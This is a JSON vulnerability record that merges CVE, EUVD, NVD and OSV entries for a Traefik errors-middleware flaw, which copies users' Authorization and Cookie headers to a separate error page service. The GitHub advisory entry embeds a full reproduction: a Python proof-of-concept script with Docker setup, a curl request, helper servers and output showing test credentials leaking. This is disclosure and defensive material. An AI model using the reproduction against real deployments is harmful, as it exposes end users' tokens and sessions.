{"id":"EUVD-2026-30557","revision":null,"records":[{"revision":"b9e360370e224674909768ba7f9e5c49","observedAt":"2026-10-23T15:48:27.903+00:00","statement":{"source":"cve-program","id":"CVE-2026-41181","aliases":[],"title":"Traefik: Errors middleware forwards Authorization and Cookie headers to separate error page service","description":"Traefik is an HTTP reverse proxy and load balancer. Prior to 2.11.44, 3.6.15, and 3.7.0-rc.3, there is an information disclosure vulnerability in Traefik's errors (custom error pages) middleware. When the backend returns a response matching the configured status range, the middleware forwards the original request's complete header set, including Authorization, Cookie, and other authentication material, to the separate error page service rather than only the minimal context needed to render the error page. This behavior is undocumented: the documentation states only that Host is forwarded by default, so operators are not warned that sensitive credentials are shared across service boundaries. Deployments using the errors middleware with a distinct error page service may inadvertently expose end-user credentials to infrastructure that was not intended to receive them. This vulnerability is fixed in 2.11.44, 3.6.15, and 3.7.0-rc.3.","state":0,"publishedAt":"2026-05-15T16:27:14.823+00:00","modifiedAt":"2026-05-16T01:11:03.867+00:00","affected":[{"ecosystem":"Vendor product","name":"traefik","ranges":[],"versions":[],"rawVersionEvidence":"{\n                    \"vendor\": \"traefik\",\n                    \"product\": \"traefik\",\n                    \"versions\": [\n                        {\n                            \"version\": \">= 3.7.0-rc.0, < 3.7.0-rc.3\",\n                            \"status\": \"affected\"\n                        },\n                        {\n                            \"version\": \">= 3.0.0-beta1, < 3.6.14\",\n                            \"status\": \"affected\"\n                        },\n                        {\n                            \"version\": \"< 2.11.43\",\n                            \"status\": \"affected\"\n                        }\n                    ]\n                }"}],"metrics":[{"system":"CVSS 4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:N/SC:L/SI:N/SA:N","score":6.9,"severity":"MEDIUM"}],"references":["https://github.com/traefik/traefik/security/advisories/GHSA-p6hg-qh38-555r","https://github.com/traefik/traefik/releases/tag/v2.11.44","https://github.com/traefik/traefik/releases/tag/v3.6.15","https://github.com/traefik/traefik/releases/tag/v3.7.0-rc.3"],"sourceUrl":"https://www.cve.org/CVERecord?id=CVE-2026-41181","license":"CVE Program Terms of Use","key":"cve-program:CVE-2026-41181","identifiers":["CVE-2026-41181"]},"retained":false,"historicalAffected":[]},{"revision":"55aeb6d5519e464983b41c124caac335","observedAt":"2026-11-21T20:29:52.833+00:00","statement":{"source":"euvd","id":"EUVD-2026-30557","aliases":["CVE-2026-41181","GHSA-p6hg-qh38-555r"],"title":"Traefik is an HTTP reverse proxy and load balancer. Prior to 2.11.44, 3.6.15, and 3.7.0-rc.3, there is an information disclosure vulnerability in Traefik's errors (custom error pages) middleware. When the backend returns a response matching…","description":"Traefik is an HTTP reverse proxy and load balancer. Prior to 2.11.44, 3.6.15, and 3.7.0-rc.3, there is an information disclosure vulnerability in Traefik's errors (custom error pages) middleware. When the backend returns a response matching the configured status range, the middleware forwards the original request's complete header set, including Authorization, Cookie, and other authentication material, to the separate error page service rather than only the minimal context needed to render the error page. This behavior is undocumented: the documentation states only that Host is forwarded by default, so operators are not warned that sensitive credentials are shared across service boundaries. Deployments using the errors middleware with a distinct error page service may inadvertently expose end-user credentials to infrastructure that was not intended to receive them. This vulnerability is fixed in 2.11.44, 3.6.15, and 3.7.0-rc.3.","state":0,"publishedAt":null,"modifiedAt":null,"affected":[],"metrics":[{"system":"EUVD CVSS 4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:N/SC:L/SI:N/SA:N","score":6.9,"severity":null}],"references":["https://github.com/traefik/traefik/security/advisories/GHSA-p6hg-qh38-555r","https://github.com/traefik/traefik/releases/tag/v2.11.44","https://github.com/traefik/traefik/releases/tag/v3.6.15","https://github.com/traefik/traefik/releases/tag/v3.7.0-rc.3"],"sourceUrl":"https://euvd.enisa.europa.eu/vulnerability/EUVD-2026-30557","license":"ENISA EUVD · source terms and attribution apply","enrichment":{"sourceStatus":null,"weaknesses":[],"productCriteria":[],"sourceDates":{"datePublished":"May 15, 2026, 4:27:14 PM","dateUpdated":"May 16, 2026, 1:11:03 AM"},"relatedAdvisories":[{"id":"openSUSE-SU-2026:10714-1","title":"traefik2-2.11.45-1.1 on GA media","vulnerabilityIds":["CVE-2026-41181"]},{"id":"openSUSE-SU-2026:10713-1","title":"traefik-3.6.16-1.1 on GA media","vulnerabilityIds":["CVE-2026-41181"]}],"note":"EUVD source date text has no stated timezone and is retained without inventing a UTC instant. Related bulletin membership is not an alias, common cause or applicability claim. A missing vector with a zero score is treated as unrated. Complete vendor/product and underlying source evidence remains in the original JSON."},"key":"euvd:EUVD-2026-30557","identifiers":["EUVD-2026-30557","CVE-2026-41181","GHSA-p6hg-qh38-555r"]},"retained":false,"historicalAffected":[]},{"revision":"16953dac5492404caf1c838eb34add9a","observedAt":"2026-11-12T15:18:55.774+00:00","statement":{"source":"nvd","id":"CVE-2026-41181","aliases":[],"title":"Traefik is an HTTP reverse proxy and load balancer. Prior to 2.11.44, 3.6.15, and 3.7.0-rc.3, there is an information disclosure vulnerability in Traefik's errors (custom error pages) middleware. When the backend returns a response matching…","description":"Traefik is an HTTP reverse proxy and load balancer. Prior to 2.11.44, 3.6.15, and 3.7.0-rc.3, there is an information disclosure vulnerability in Traefik's errors (custom error pages) middleware. When the backend returns a response matching the configured status range, the middleware forwards the original request's complete header set, including Authorization, Cookie, and other authentication material, to the separate error page service rather than only the minimal context needed to render the error page. This behavior is undocumented: the documentation states only that Host is forwarded by default, so operators are not warned that sensitive credentials are shared across service boundaries. Deployments using the errors middleware with a distinct error page service may inadvertently expose end-user credentials to infrastructure that was not intended to receive them. This vulnerability is fixed in 2.11.44, 3.6.15, and 3.7.0-rc.3.","state":0,"publishedAt":"2026-05-15T17:16:46.32+00:00","modifiedAt":"2026-11-11T20:10:00.273+00:00","affected":[],"metrics":[{"system":"CVSS 4.0 · security-advisories@github.com · Secondary","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:N/SC:L/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","score":6.9,"severity":"MEDIUM"},{"system":"CVSS 3.1 · nvd@nist.gov · Primary","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:N/A:N","score":5.8,"severity":"MEDIUM"}],"references":["https://github.com/traefik/traefik/releases/tag/v2.11.44","https://github.com/traefik/traefik/releases/tag/v3.6.15","https://github.com/traefik/traefik/releases/tag/v3.7.0-rc.3","https://github.com/traefik/traefik/security/advisories/GHSA-p6hg-qh38-555r"],"sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-41181","license":"NIST NVD usage terms; underlying source attribution retained","enrichment":{"sourceStatus":"Analyzed","weaknesses":["CWE-201"],"productCriteria":["cpe:2.3:a:traefik:traefik:*:*:*:*:*:*:*:*","cpe:2.3:a:traefik:traefik:3.7.0:ea1:*:*:*:*:*:*","cpe:2.3:a:traefik:traefik:3.7.0:ea2:*:*:*:*:*:*","cpe:2.3:a:traefik:traefik:3.7.0:ea3:*:*:*:*:*:*","cpe:2.3:a:traefik:traefik:3.7.0:rc1:*:*:*:*:*:*","cpe:2.3:a:traefik:traefik:3.7.0:rc2:*:*:*:*:*:*"],"sourceDates":{"published":"2026-05-15T17:16:46.320","lastModified":"2026-11-11T20:10:00.273"},"relatedAdvisories":[],"note":"NVD analysis and CPE criteria are source context, not proof that a package or your environment is affected. Complete affected data, logical configurations and SSVC are retained in the original JSON."},"key":"nvd:CVE-2026-41181","identifiers":["CVE-2026-41181"]},"retained":false,"historicalAffected":[]},{"revision":"46c5632ab44345a68b6f18de2ed89833","observedAt":"2026-10-24T13:19:41.952+00:00","statement":{"source":"osv","id":"GHSA-p6hg-qh38-555r","aliases":["CVE-2026-41181","GO-2026-5532"],"title":"Traefik's errors middleware forwards Authorization and Cookie headers to separate error page service","description":"## Summary\n\nThere is a medium severity information disclosure vulnerability in Traefik's `errors` (custom error pages) middleware. When the backend returns a response matching the configured status range, the middleware forwards the original request's complete header set, including `Authorization`, `Cookie`, and other authentication material, to the separate error page service rather than only the minimal context needed to render the error page. This behavior is undocumented: the documentation states only that `Host` is forwarded by default, so operators are not warned that sensitive credentials are shared across service boundaries. Deployments using the `errors` middleware with a distinct error page service may inadvertently expose end-user credentials to infrastructure that was not intended to receive them.\n\n## Patches\n\n- https://github.com/traefik/traefik/releases/tag/v2.11.44\n- https://github.com/traefik/traefik/releases/tag/v3.6.15\n- https://github.com/traefik/traefik/releases/tag/v3.7.0-rc.3\n\n## For more information\n\nIf there are any questions or comments about this advisory, please [open an issue](https://github.com/traefik/traefik/issues).\n\n<details>\n<summary>Original Description</summary>\n\n## Description\nTraefik v3.6.13's supported HTTP `errors` middleware discloses sensitive request headers to the configured error page service when the original backend response matches the configured status range and the middleware takes its default header-forwarding path. In the reproduced configuration, the business router `audit-customerrors@docker` pointed to backend service `audit-backend`, attached middleware `audit-leak@docker`, and the middleware was configured with `errors.status=500-599`, `errors.service=audit-error`, and `errors.query=/collect`. A request to the business route caused the backend to return `500`, after which Traefik created a secondary request to the error service and copied the original `Authorization` and `Cookie` headers into that cross-service request.\n\nThis is a normal feature path on an ordinary HTTP route. It does not depend on `api.insecure`, the dashboard, pprof, or a debug-only mode. The confidentiality boundary that breaks here is the service boundary between the original backend chain and the separate error page service: credentials that were only meant for the original backend are automatically delivered to another service.\n\nThe root cause is in `pkg/middlewares/customerrors/custom_errors.go:151-160`:\n\n```go\nif len(c.forwardNginxHeaders) > 0 {\n    utils.CopyHeaders(pageReq.Header, c.forwardNginxHeaders)\n    pageReq.Header.Set(\"X-Code\", strconv.Itoa(code))\n    pageReq.Header.Set(\"X-Format\", req.Header.Get(\"Accept\"))\n    pageReq.Header.Set(\"X-Original-Uri\", req.URL.RequestURI())\n} else {\n    utils.CopyHeaders(pageReq.Header, req.Header)\n}\n```\n\nUnless the `NginxHeaders` branch is explicitly used, the middleware copies the entire original request header map into the error page request. The documentation at `docs/content/reference/routing-configuration/http/middlewares/errorpages.md:103-107` only states that `Host` is forwarded by default, so operators are not warned that `Authorization`, `Cookie`, and other authentication material are forwarded as well.\n\n## Steps To Reproduce\n1. Deploy Traefik v3.6.13 with a normal business route that uses the supported `errors` middleware and points `errors.service` to a distinct service. The attached PoC uses `BASE_URL = \"http://127.0.0.1:28080\"`, `API_BASE_URL = \"http://127.0.0.1:28180\"`, `ROUTER_PATH = \"/audit-customerrors\"`, `AUTHORIZATION = \"Bearer audit-secret-token\"`, and `COOKIE = \"sessionid=audit-cookie; theme=dark\"`.\n\n2. Start the two attached helper services `customerrors_backend.py` and `customerrors_error.py`. The backend listens on port `8000` and always returns `500`. The error service listens on port `8000` and returns the request method, path, and received headers as JSON. The PoC starts them with the router and middleware labels below so that the business request is handled by the backend, while the error page is fetched from the separate error service:\n\n```text\ntraefik.http.routers.audit-customerrors.rule=PathPrefix(`/audit-customerrors`)\ntraefik.http.routers.audit-customerrors.entrypoints=web\ntraefik.http.routers.audit-customerrors.priority=100\ntraefik.http.routers.audit-customerrors.service=audit-backend\ntraefik.http.routers.audit-customerrors.middlewares=audit-leak\ntraefik.http.services.audit-backend.loadbalancer.server.port=8000\ntraefik.http.middlewares.audit-leak.errors.status=500-599\ntraefik.http.middlewares.audit-leak.errors.service=audit-error\ntraefik.http.middlewares.audit-leak.errors.query=/collect\n```\n\n3. Confirm that Traefik has loaded the route and middleware. The attached `customerrors_router.json` shows that `audit-customerrors@docker` uses middleware `audit-leak@docker`, and the attached `customerrors_middleware.json` shows that the middleware is enabled with `status` `500-599`, `service` `audit-error`, and `query` `/collect`.\n\n4. Send a request containing sensitive credentials through the business route. The manual reproduction used the following request, and the automated PoC sends the same header values:\n\n```bash\ncurl -i \\\n  -H 'Authorization: Bearer audit-secret-token' \\\n  -H 'Cookie: sessionid=audit-cookie; theme=dark' \\\n  http://127.0.0.1:28080/audit-customerrors\n```\n\n5. Observe that the backend returns `500`, Traefik internally requests `/collect` from the error service, and the error service receives the original `Authorization` and `Cookie` headers. The attached `manual_curl_customerrors.txt` response shows the leaked headers directly, and the attached `poc_customerrors_header_leak.output.txt` execution log shows the same result from the automated PoC.\n\n## Recommendations\nThe default behavior should forward only the minimal context needed to render an error page instead of copying the full original header set with `utils.CopyHeaders(pageReq.Header, req.Header)`. At minimum, Traefik should strip `Authorization`, `Proxy-Authorization`, `Cookie`, `Set-Cookie`, and common custom authentication headers such as `X-Api-Key` before issuing the error page request. If operators truly need additional headers, that behavior should be opt-in through an explicit allowlist rather than the default. The documentation should also describe the current behavior and warn that routing an error page to a separate service can otherwise disclose end-user credentials across service boundaries.\n\n## PoC\nThe main PoC attachment is `poc_customerrors_header_leak.py`.\n\n```python\nimport json\nimport os\nimport subprocess\nimport sys\nimport time\nimport urllib.error\nimport urllib.request\nfrom pathlib import Path\n\n\nTARGET = \"traefik customErrors sensitive header leak\"\nBASE_URL = \"http://127.0.0.1:28080\"\nAPI_BASE_URL = \"http://127.0.0.1:28180\"\nTRAEFIK_CONTAINER = \"traefik-openclaw\"\nNETWORK = \"\"\nDOCKER_IMAGE = \"python:3.12-alpine\"\nBACKEND_CONTAINER = \"traefik-audit-backend\"\nERROR_CONTAINER = \"traefik-audit-error\"\nROUTER_NAME = \"audit-customerrors\"\nROUTER_PATH = \"/audit-customerrors\"\nAUTHORIZATION = \"Bearer audit-secret-token\"\nCOOKIE = \"sessionid=audit-cookie; theme=dark\"\nTIMEOUT_SECONDS = 10\nROUTER_WAIT_SECONDS = 20\n\nEVIDENCE_DIR = Path(__file__).resolve().parent\nBACKEND_SCRIPT = EVIDENCE_DIR / \"customerrors_backend.py\"\nERROR_SCRIPT = EVIDENCE_DIR / \"customerrors_error.py\"\n\n\ndef run_command(command):\n    print(f\"$ {' '.join(command)}\")\n    completed = subprocess.run(command, capture_output=True, text=True, check=True)\n    stdout = completed.stdout.strip()\n    stderr = completed.stderr.strip()\n    if stdout:\n        print(stdout)\n    if stderr:\n        print(stderr)\n    return stdout\n\n\ndef remove_container(name):\n    subprocess.run([\"docker\", \"rm\", \"-f\", name], capture_output=True, text=True)\n\n\ndef detect_network():\n    if NETWORK:\n        return NETWORK\n\n    output = run_command(\n        [\"docker\", \"inspect\", TRAEFIK_CONTAINER, \"--format\", \"{{json .NetworkSettings.Networks}}\"]\n    )\n    networks = json.loads(output)\n    network_names = sorted(networks.keys())\n    if not network_names:\n        raise RuntimeError(\"No docker network found for Traefik container\")\n    return network_names[0]\n\n\ndef ensure_image():\n    run_command([\"docker\", \"pull\", DOCKER_IMAGE])\n\n\ndef start_error_container(network_name):\n    run_command(\n        [\n            \"docker\", \"run\", \"-d\", \"--name\", ERROR_CONTAINER,\n            \"--network\", network_name,\n            \"-v\", f\"{ERROR_SCRIPT}:/srv/error.py:ro\",\n            \"-l\", \"traefik.enable=true\",\n            \"-l\", f\"traefik.docker.network={network_name}\",\n            \"-l\", \"traefik.http.services.audit-error.loadbalancer.server.port=8000\",\n            DOCKER_IMAGE, \"python\", \"/srv/error.py\",\n        ]\n    )\n\n\ndef start_backend_container(network_name):\n    run_command(\n        [\n            \"docker\", \"run\", \"-d\", \"--name\", BACKEND_CONTAINER,\n            \"--network\", network_name,\n            \"-v\", f\"{BACKEND_SCRIPT}:/srv/backend.py:ro\",\n            \"-l\", \"traefik.enable=true\",\n            \"-l\", f\"traefik.docker.network={network_name}\",\n            \"-l\", f\"traefik.http.routers.{ROUTER_NAME}.rule=PathPrefix(`{ROUTER_PATH}`)\",\n            \"-l\", f\"traefik.http.routers.{ROUTER_NAME}.entrypoints=web\",\n            \"-l\", f\"traefik.http.routers.{ROUTER_NAME}.priority=100\",\n            \"-l\", f\"traefik.http.routers.{ROUTER_NAME}.service=audit-backend\",\n            \"-l\", f\"traefik.http.routers.{ROUTER_NAME}.middlewares=audit-leak\",\n            \"-l\", \"traefik.http.services.audit-backend.loadbalancer.server.port=8000\",\n            \"-l\", \"traefik.http.middlewares.audit-leak.errors.status=500-599\",\n            \"-l\", \"traefik.http.middlewares.audit-leak.errors.service=audit-error\",\n            \"-l\", \"traefik.http.middlewares.audit-leak.errors.query=/collect\",\n            DOCKER_IMAGE, \"python\", \"/srv/backend.py\",\n        ]\n    )\n\n\ndef fetch_json(url, headers=None):\n    request = urllib.request.Request(url, headers=headers or {}, method=\"GET\")\n    try:\n        response = urllib.request.urlopen(request, timeout=TIMEOUT_SECONDS)\n    except urllib.error.HTTPError as exc:\n        response = exc\n\n    with response:\n        return json.loads(response.read().decode())\n\n\ndef wait_for_router():\n    deadline = time.time() + ROUTER_WAIT_SECONDS\n    while time.time() < deadline:\n        try:\n            data = fetch_json(f\"{API_BASE_URL}/api/rawdata\")\n            if f\"{ROUTER_NAME}@docker\" in data.get(\"routers\", {}):\n                return data\n        except Exception:\n            pass\n        time.sleep(1)\n    raise RuntimeError(\"Timed out waiting for router\")\n\n\ndef trigger_request():\n    headers = {\n        \"Authorization\": AUTHORIZATION,\n        \"Cookie\": COOKIE,\n    }\n    return fetch_json(f\"{BASE_URL}{ROUTER_PATH}\", headers=headers)\n\n\ndef validate(response_json):\n    leaked_headers = response_json.get(\"headers\", {})\n    leaked_auth = leaked_headers.get(\"Authorization\")\n    leaked_cookie = leaked_headers.get(\"Cookie\")\n\n    print(\"Response JSON:\")\n    print(json.dumps(response_json, indent=2, sort_keys=True))\n\n    if leaked_auth != AUTHORIZATION:\n        raise RuntimeError(f\"Authorization not leaked as expected, got: {leaked_auth!r}\")\n    if leaked_cookie != COOKIE:\n        raise RuntimeError(f\"Cookie not leaked as expected, got: {leaked_cookie!r}\")\n\n    print(\"Validation result: error page service received the original Authorization and Cookie.\")\n\n\ndef main():\n    print(f\"TARGET={TARGET}\")\n    network_name = detect_network()\n    print(f\"Using docker network: {network_name}\")\n\n    remove_container(BACKEND_CONTAINER)\n    remove_container(ERROR_CONTAINER)\n\n    try:\n        ensure_image()\n        start_error_container(network_name)\n        start_backend_container(network_name)\n        wait_for_router()\n        response_json = trigger_request()\n        validate(response_json)\n    finally:\n        remove_container(BACKEND_CONTAINER)\n        remove_container(ERROR_CONTAINER)\n        print(\"Cleaned up temporary containers.\")\n\n\nif __name__ == \"__main__\":\n    try:\n        main()\n    except subprocess.CalledProcessError as exc:\n        if exc.stdout:\n            print(exc.stdout)\n        if exc.stderr:\n            print(exc.stderr, file=sys.stderr)\n        raise\n```\n\nSupporting backend helper used by the PoC, from `customerrors_backend.py`:\n\n```python\nfrom http.server import BaseHTTPRequestHandler, HTTPServer\n\n\nclass Handler(BaseHTTPRequestHandler):\n    def do_GET(self):\n        self.send_response(500)\n        self.send_header(\"Content-Type\", \"text/plain; charset=utf-8\")\n        self.end_headers()\n        self.wfile.write(b\"backend forced 500\\n\")\n\n    def log_message(self, format, *args):\n        return\n\n\ndef main():\n    HTTPServer((\"0.0.0.0\", 8000), Handler).serve_forever()\n\n\nif __name__ == \"__main__\":\n    main()\n```\n\nSupporting error service helper used by the PoC, from `customerrors_error.py`:\n\n```python\nimport json\nfrom http.server import BaseHTTPRequestHandler, HTTPServer\n\n\nclass Handler(BaseHTTPRequestHandler):\n    def do_GET(self):\n        body = json.dumps(\n            {\n                \"method\": self.command,\n                \"path\": self.path,\n                \"headers\": {key: value for key, value in self.headers.items()},\n            },\n            indent=2,\n            sort_keys=True,\n        ).encode()\n        self.send_response(200)\n        self.send_header(\"Content-Type\", \"application/json; charset=utf-8\")\n        self.send_header(\"Content-Length\", str(len(body)))\n        self.end_headers()\n        self.wfile.write(body)\n\n    def log_message(self, format, *args):\n        return\n\n\ndef main():\n    HTTPServer((\"0.0.0.0\", 8000), Handler).serve_forever()\n\n\nif __name__ == \"__main__\":\n    main()\n```\n\n## Evidence Files\n`customerrors_middleware.json` proves that the active middleware is the supported `errors` middleware and that it was configured with `status` `500-599`, `service` `audit-error`, and `query` `/collect`.\n\n```json\n{\n    \"errors\": {\n        \"status\": [\n            \"500-599\"\n        ],\n        \"service\": \"audit-error\",\n        \"query\": \"/collect\"\n    },\n    \"status\": \"enabled\",\n    \"usedBy\": [\n        \"audit-customerrors@docker\"\n    ],\n    \"name\": \"audit-leak@docker\",\n    \"provider\": \"docker\",\n    \"type\": \"errors\"\n}\n```\n\n`customerrors_router.json` proves that the business router `audit-customerrors@docker` was enabled on the `web` entrypoint, routed to `audit-backend`, and used middleware `audit-leak@docker`.\n\n```json\n{\n    \"entryPoints\": [\n        \"web\"\n    ],\n    \"middlewares\": [\n        \"audit-leak@docker\"\n    ],\n    \"service\": \"audit-backend\",\n    \"rule\": \"PathPrefix(`/audit-customerrors`)\",\n    \"priority\": 100,\n    \"observability\": {\n        \"accessLogs\": true,\n        \"metrics\": true,\n        \"tracing\": true,\n        \"traceVerbosity\": \"minimal\"\n    },\n    \"status\": \"enabled\",\n    \"using\": [\n        \"web\"\n    ],\n    \"name\": \"audit-customerrors@docker\",\n    \"provider\": \"docker\",\n    \"priorityStr\": \"100\"\n}\n```\n\n`manual_curl_customerrors.txt` proves that a direct request through Traefik caused the separate error service to receive the original `Authorization` and `Cookie` values.\n\n```text\nHTTP/1.1 500 Internal Server Error\nContent-Length: 461\nContent-Type: application/json; charset=utf-8\nDate: Mon, 13 Apr 2026 13:09:58 GMT\nServer: BaseHTTP/0.6 Python/3.12.13\n\n{\n  \"headers\": {\n    \"Accept\": \"*/*\",\n    \"Accept-Encoding\": \"gzip\",\n    \"Authorization\": \"Bearer audit-secret-token\",\n    \"Cookie\": \"sessionid=audit-cookie; theme=dark\",\n    \"Host\": \"127.0.0.1:28080\",\n    \"User-Agent\": \"curl/8.7.1\",\n    \"X-Forwarded-Host\": \"127.0.0.1:28080\",\n    \"X-Forwarded-Port\": \"28080\",\n    \"X-Forwarded-Proto\": \"http\",\n    \"X-Forwarded-Server\": \"c231be677a1b\",\n    \"X-Real-Ip\": \"172.19.0.1\"\n  },\n  \"method\": \"GET\",\n  \"path\": \"/collect\"\n}\n```\n\n`poc_customerrors_header_leak.output.txt` is the automated execution log for the Python PoC. The source material provided the following excerpt from that output, which shows the same credential disclosure and the PoC's validation result.\n\n```text\nResponse JSON:\n{\n  \"headers\": {\n    \"Accept-Encoding\": \"identity\",\n    \"Authorization\": \"Bearer audit-secret-token\",\n    \"Cookie\": \"sessionid=audit-cookie; theme=dark\",\n    \"Host\": \"127.0.0.1:28080\",\n    \"User-Agent\": \"Python-urllib/3.14\",\n    \"X-Forwarded-Host\": \"127.0.0.1:28080\",\n    \"X-Forwarded-Port\": \"28080\",\n    \"X-Forwarded-Proto\": \"http\",\n    \"X-Forwarded-Server\": \"c231be677a1b\",\n    \"X-Real-Ip\": \"172.19.0.1\"\n  },\n  \"method\": \"GET\",\n  \"path\": \"/collect\"\n}\nValidation result: error page service received the original Authorization and Cookie.\n```\n\n## Impact\nAny deployment that uses the supported `errors` middleware with a separate error page service can silently copy end-user credentials to that second service whenever the configured error status range is triggered. In practice, this means bearer tokens, session cookies, and other custom authentication headers can be disclosed to infrastructure that was never meant to receive them. If the error service is maintained by a different team, shared across tenants, hosted by a third party, or simply logged more broadly than the primary application service, this expands the exposure of valid credentials and can enable unauthorized API access or account compromise depending on what the leaked tokens authorize.\n\n</details>","state":0,"publishedAt":"2026-05-04T19:26:33+00:00","modifiedAt":"2026-08-11T20:51:09.0132699+00:00","affected":[{"ecosystem":"Go","name":"github.com/traefik/traefik/v2","ranges":[{"type":"SEMVER","events":[{"kind":"introduced","version":"0"},{"kind":"fixed","version":"2.11.44"}]}],"versions":[],"rawVersionEvidence":null},{"ecosystem":"Go","name":"github.com/traefik/traefik/v3","ranges":[{"type":"SEMVER","events":[{"kind":"introduced","version":"0"},{"kind":"fixed","version":"3.6.15"}]}],"versions":[],"rawVersionEvidence":null},{"ecosystem":"Go","name":"github.com/traefik/traefik/v3","ranges":[{"type":"SEMVER","events":[{"kind":"introduced","version":"3.7.0-rc.0"},{"kind":"fixed","version":"3.7.0-rc.3"}]}],"versions":[],"rawVersionEvidence":null}],"metrics":[{"system":"CVSS_V4","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:N/SC:L/SI:N/SA:N","score":null,"severity":null},{"system":"Publisher rating","vector":null,"score":null,"severity":"MODERATE"}],"references":["https://github.com/traefik/traefik/security/advisories/GHSA-p6hg-qh38-555r","https://nvd.nist.gov/vuln/detail/CVE-2026-41181","https://github.com/traefik/traefik","https://github.com/traefik/traefik/releases/tag/v2.11.44","https://github.com/traefik/traefik/releases/tag/v3.6.15","https://github.com/traefik/traefik/releases/tag/v3.7.0-rc.3"],"sourceUrl":"https://github.com/advisories/GHSA-p6hg-qh38-555r","license":"GitHub Advisory Database · CC-BY-4.0","key":"osv:GHSA-p6hg-qh38-555r","identifiers":["GHSA-p6hg-qh38-555r","CVE-2026-41181","GO-2026-5532"]},"retained":false,"historicalAffected":[]},{"revision":"57b7491190e24854bdd6b6085c4105ee","observedAt":"2026-10-24T13:19:41.952+00:00","statement":{"source":"osv","id":"GO-2026-5532","aliases":["CVE-2026-41181","GHSA-p6hg-qh38-555r"],"title":"Authorization and Cookie headers forwarded to error page service in github.com/traefik/traefik","description":"Traefik's errors middleware by default forwards all original request headers to the error page service. If the error page service is in a separate trust domain, this can lead to the disclosure of sensitive information such as Authorization or Cookie headers.\n\nThe fix adds an errorRequestHeaders option to the Errors middleware, allowing users to explicitly list which headers should be forwarded.","state":0,"publishedAt":"2026-08-11T20:19:48+00:00","modifiedAt":"2026-08-11T20:45:07.9972272+00:00","affected":[{"ecosystem":"Go","name":"github.com/traefik/traefik","ranges":[{"type":"SEMVER","events":[{"kind":"introduced","version":"0"}]}],"versions":[],"rawVersionEvidence":null},{"ecosystem":"Go","name":"github.com/traefik/traefik/v2","ranges":[{"type":"SEMVER","events":[{"kind":"introduced","version":"0"},{"kind":"fixed","version":"2.11.44"}]}],"versions":[],"rawVersionEvidence":null},{"ecosystem":"Go","name":"github.com/traefik/traefik/v3","ranges":[{"type":"SEMVER","events":[{"kind":"introduced","version":"0"},{"kind":"fixed","version":"3.6.15"},{"kind":"introduced","version":"3.7.0-rc.1"},{"kind":"fixed","version":"3.7.0-rc.3"}]}],"versions":[],"rawVersionEvidence":null}],"metrics":[],"references":["https://github.com/traefik/traefik/security/advisories/GHSA-p6hg-qh38-555r","https://github.com/traefik/traefik/releases/tag/v2.11.44","https://github.com/traefik/traefik/releases/tag/v3.6.15","https://github.com/traefik/traefik/releases/tag/v3.7.0-rc.3"],"sourceUrl":"https://osv.dev/vulnerability/GO-2026-5532","license":"OSV · upstream source license applies","key":"osv:GO-2026-5532","identifiers":["GO-2026-5532","CVE-2026-41181","GHSA-p6hg-qh38-555r"]},"retained":false,"historicalAffected":[]}],"coverage":[{"source":"cisa-kev:global","scope":"Complete CISA KEV catalog; all vendors. Missing entries do not establish absence of exploitation.","generation":"2026-11-22T07:25:32.8771485+00:00","complete":true,"records":1790,"lastAttemptAt":"2026-11-22T07:25:32.8771485+00:00","lastSuccessAt":"2026-11-22T07:25:33.0567966+00:00","error":null,"lastVerifiedAt":"2026-11-22T07:25:33.0567975+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"cve-program","scope":"Official CVE Program baseline and cumulative hourly delta; all vendors, published and rejected records","generation":"cve-a00cc431548e20f01f2da20f449eca4a9c3c2d80f0a99ee8150099224d339982-f8f118ca14c96f9541b27c4930f7a085141e0585c47b3ddd38c161dc443d994d","complete":true,"records":430439,"lastAttemptAt":"2026-11-22T07:25:32.3252748+00:00","lastSuccessAt":"2026-11-22T07:25:32.2976981+00:00","error":null,"lastVerifiedAt":"2026-11-22T07:25:32.3252748+00:00","snapshotPublishedAt":"2026-11-22T07:22:46+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"euvd","scope":"Rolling EUVD lookups of CVE aliases in current public OSV archives; 500 identifiers per refresh, rechecked after 48 hours. Not a global EUVD catalog. Successful not-found lookups count as checked; they do not imply withdrawal or safety. No reader inventory is sent.","generation":"enrichment-7b7b4a844f794656974dc110e5ccbce9","complete":false,"records":13927,"lastAttemptAt":"2026-11-22T07:36:12.7751885+00:00","lastSuccessAt":"2026-11-22T07:36:12.771+00:00","error":"79 identifier lookups failed; latest failures include AccessDenied (HTTP 403). Other identifiers were checked independently.","lastVerifiedAt":"2026-11-22T07:36:12.771+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":13645,"expectedIdentifiers":13975,"failedIdentifiers":79},{"source":"first-epss:nuget","scope":"FIRST EPSS for explicit CVE aliases in the collected public NuGet archive. Not a global EPSS backfill.","generation":"2026-11-22T07:25:32.8771485+00:00","complete":true,"records":1131,"lastAttemptAt":"2026-11-22T07:25:32.8771485+00:00","lastSuccessAt":"2026-11-22T07:25:33.0575558+00:00","error":null,"lastVerifiedAt":"2026-11-22T07:25:33.0575561+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"nvd","scope":"Rolling NVD lookups of CVE aliases in current public OSV archives; 500 identifiers per refresh, rechecked after 48 hours. Not a global NVD catalog. Successful not-found lookups count as checked; they do not imply withdrawal or safety. No reader inventory is 